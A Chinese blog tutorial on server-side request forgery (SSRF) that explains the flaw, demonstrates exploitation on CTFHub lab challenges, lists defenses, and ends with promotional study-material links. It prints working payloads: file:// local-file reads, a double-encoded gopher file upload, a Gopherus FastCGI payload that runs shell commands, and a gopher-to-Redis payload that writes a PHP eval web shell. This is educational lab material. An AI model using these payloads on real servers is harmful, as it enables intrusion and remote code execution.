SSRF漏洞原理、漏洞点、利用与防御
SSRF介绍
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种网络安全漏洞,攻击者可以构造恶意请求,让服务端充当代理访问内网资源或者其它外网无法访问的资源,绕过网络隔离和一些安全产品的限制。与CSRF不同,CSRF是客户端的请求伪造,SSRF是服务端的请求伪造。可以简单理解为让服务器充当代理,从而访问其内部资源或其它有限制的资源。
SSRF原理
因为在搭建一个web应用的过程中,难免会使用到一些外部服务器中的资源,当服务端应用程序在处理用户可控的URL或资源地址时,没有对目标地址、协议进行验证和限制,可能会导致攻击者可以利用服务器作为代理,访问内网系统、本地文件和云服务资源,获取机密文件和数据。

常见漏洞点
- 图片与文件处理(通过 URL 上传或者下载头像、封面、附件)
- 内容导入与预览(在线文档或网页预览)
- XML、SVG 与解析器(XML 外部实体加载、SVG 外部资源引用、某些媒体处理库自动加载远程资源)
- Webhook 与回调(Webhook 地址配置、支付回调、消息回调)
SSRF的利用
这里是在ctfhub靶场上做演示,生产环境请在获得授权的情况下测试!!!
访问内网资源
通过修改参数url来访问其内网环境,获得其中资源。
http://challenge-fa811493b7ea5804.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

通过伪协议读取本地文件
这里讲一下,php和Java的SSRF中,两种语言可以利用的伪协议是不同的。如下
php常用伪协议:http、https、ftp、ftps、php、file、dict、data、gopher;
java常用伪协议:file、ftp、http、https、jar、mailto、netdoc(jdk11版本以下)、gopher(jdk1.8版本以下);
这里我就不仔细说了,查看资料链接如下:
- https://xz.aliyun.com/news/195
- https://it.idocdown.com/app/articles/blogs/detail/2883
- https://www.freebuf.com/articles/web/364113.html
通过file伪协议来读取本地文件
http://challenge-be4b40038ada4d45.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

进行端口扫描
通过http协议进行端口扫描,来确定目标主机开放了哪些网络服务,以及这些服务可能暴露的风险。

将包发到intruder来进行端口扫描

查看结果

就8729端口返回长度和其它不同,打开就可以看到flag了

上传文件
打开靶场,将url参数改成
url=127.0.0.1/flag.php

可以看到文件上传位置,但是没有提交按钮,可以自己手动加
<input type="submit" name="submit">

但是我们直接提交文件是过不了的,所以只能利用ssrf漏洞来提交

我们可以利用gopher伪协议来提交文件,下面这个是数据包(网上直接找的)
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
但是要经过两次url编码,因为在这里会进行两次url解码,第一次是发送给web服务器会解码,第二次是发送给gopher的服务会解码。这里要注意一个点:如果在第一次url编码后,换行符编码后是%0A的话,要改成%0D%0A,这个是因为网络协议规定:一行结束必须使用 \r\n,不能只用\n,而一些编码器在编码的时候,换行符默认是\n,所以url编码后是%0A,这个会导致我们的服务解析出现问题,出现400的情况。
二次编码后值如下:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
url的值为:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
成功拿到flag

利用FastCGI协议实现RCE
FastCGI 是通信协议;PHP-FPM 是 PHP 对 FastCGI 的一种实现,同时负责管理 PHP 工作进程;可以理解为浏览器将http请求发送到nginx等中间件,中间件将HTTP生成对应的FastCGI,转给PHP-FPM,从而使PHP解释器能执行脚本。
这里我看下面几位师傅文章理解的,如有错误,请见谅
- https://blog.youkuaiyun.com/mysteryflower/article/details/94386461
- https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
这里使用Gopherus3-main工具,使用教程:https://blog.youkuaiyun.com/weixin_68416970/article/details/139440201,我就不详细介绍了。
下载安装完成后,使用下面命令
python -m gopherus3.gopherus --exploit fastcgi
index.php
cat /f*

再进行url编码一次,下面是最后答案,这里要记得删除没有用的空格或者换行,在这里踩一直坑,后面网上找师傅们的wp才知道的
?url=
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

redis写入shell
这里我工具出了点问题,我直接给网上的URL了
先用工具python2 gopherus.py --exploit redis生成gopher,然后再进行一次url编码即可
一句话木马写:<?php @eval($_POST['cmd']); ?>
答案如下:
?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
使用hackbar执行cmd=system(‘cat /f*’);就可以获得flag

在我看来,其实ssrf就是把攻击面扩大了而已,原本只能攻击互联网中的资产,但是有了ssrf后,相当于你开了个代理,可以到他们内网中去,攻击他们内网资产。
SSRF防御
- 输入验证与过滤:对输入的URL进行白名单验证,不在白名单中进行禁止与限制,可通过正则表达式来实现,以及限制协议的端口与类型,必要时,还可以加token机制来限制爆破可用域名与协议。如加载URL中的照片时,正常是url=http://XXX/a.jpg读取照片,而没验证与过滤时,可以是url=file:///etc/passwd读取任意文件;
- 输出验证与过滤:对输出的内容进行多方面验证,如正则表达式匹配、后缀名匹配、内容匹配、格式匹配等等,以及报错页面统一,不要将报错信息直接传输个客户端。如获得照片的功能,没有进行输出过滤,正常是url=http://XXX/getjpg读取照片链接返回加载,异常可能是url=http://XXX/getcard读取身份证号;
- 最小权限化:给服务和应用程序应该只给它可以完成其功能所需要的最低权限。如某服务只是把用户头像存入对象存储,它不应该拥有管理员角色;
- 禁用重定向:禁止 HTTP 客户端自动跟随重定向,若业务必须支持重定向,应逐跳校验协议、域名、端口及解析后的 IP 地址。如HTTP 客户端自动跟随重定向,就可能访问云服务器的元数据地址或者内网资源,形成 SSRF;
- 超时返回错误页面:对外部请求设置较短的连接超时和读取超时。发生超时时,统一返回通用错误页面,不向用户暴露目标地址、内网 IP、端口、连接状态或底层异常信息。如攻击者控制的服务器每隔几十秒只返回少量数据,并且应用没有读取超时和响应大小限制,一次请求可能长期占用工作线程。大量类似请求可能耗尽资源,造成拒绝服务;
- 配置Web应用防火墙(WAF):这个就老生常谈的事情了,我就不过多解释了,各位师傅这方面可能比我厉害多了。
总结
SSRF 的本质是服务端对用户可控的 URL 缺少限制,导致攻击者借助服务器访问内网、本地文件或云资源,进而造成信息泄露、端口探测,甚至代码执行。SSRF 相当于为攻击者提供了一个位于目标网络内部的代理,使攻击面从公网资产扩大到内网服务及其他受限资源。因此,防御时应结合 URL 白名单、协议与端口限制、内网地址拦截、重定向校验、超时与响应大小限制、输出过滤、最小权限和网络隔离等措施。WAF 只能作为补充,不能替代代码层和网络层的安全控制。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

1008



被折叠的 条评论
为什么被折叠?



